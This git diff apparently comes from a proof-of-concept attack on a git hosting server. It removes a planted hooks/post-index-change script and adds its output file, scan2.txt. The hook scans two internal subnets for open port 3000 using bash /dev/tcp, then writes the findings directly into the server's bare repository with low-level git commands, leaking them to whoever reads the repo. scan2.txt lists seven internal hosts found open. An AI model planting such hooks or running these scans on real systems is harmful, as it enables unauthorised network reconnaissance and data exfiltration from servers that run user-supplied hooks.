diff --git a/README.md b/README.md deleted file mode 100644 index 00bcb6e..0000000 --- a/README.md +++ /dev/null @@ -1 +0,0 @@ -# test \ No newline at end of file diff --git a/hooks/post-index-change b/hooks/post-index-change deleted file mode 100755 index fc17b9c..0000000 --- a/hooks/post-index-change +++ /dev/null @@ -1,14 +0,0 @@ -#!/bin/bash -echo '=== SCAN ===' > /tmp/scan2.txt -for subnet in 172.19.0 10.0.1; do - for i in $(seq 1 254); do - (timeout 1 bash -c "echo >/dev/tcp/$subnet.$i/3000" 2>/dev/null && echo "$subnet.$i:3000 OPEN" >> /tmp/scan2.txt) & - done - wait -done -echo '=== DONE ===' >> /tmp/scan2.txt -BLOB=`/usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan13.git hash-object -w /tmp/scan2.txt` -TREE=`printf "100644 blob %s\tscan2.txt\n" "$BLOB" | /usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan13.git mktree` -PARENT=`/usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan13.git rev-parse HEAD` -COMMIT=`echo "scan2" | /usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan13.git commit-tree $TREE -p $PARENT` -/usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan13.git update-ref refs/heads/main $COMMIT diff --git a/scan2.txt b/scan2.txt new file mode 100644 index 0000000..b31d8c9 --- /dev/null +++ b/scan2.txt @@ -0,0 +1,9 @@ +=== SCAN === +172.19.0.1:3000 OPEN +172.19.0.2:3000 OPEN +10.0.1.7:3000 OPEN +10.0.1.10:3000 OPEN +10.0.1.11:3000 OPEN +10.0.1.49:3000 OPEN +10.0.1.50:3000 OPEN +=== DONE ===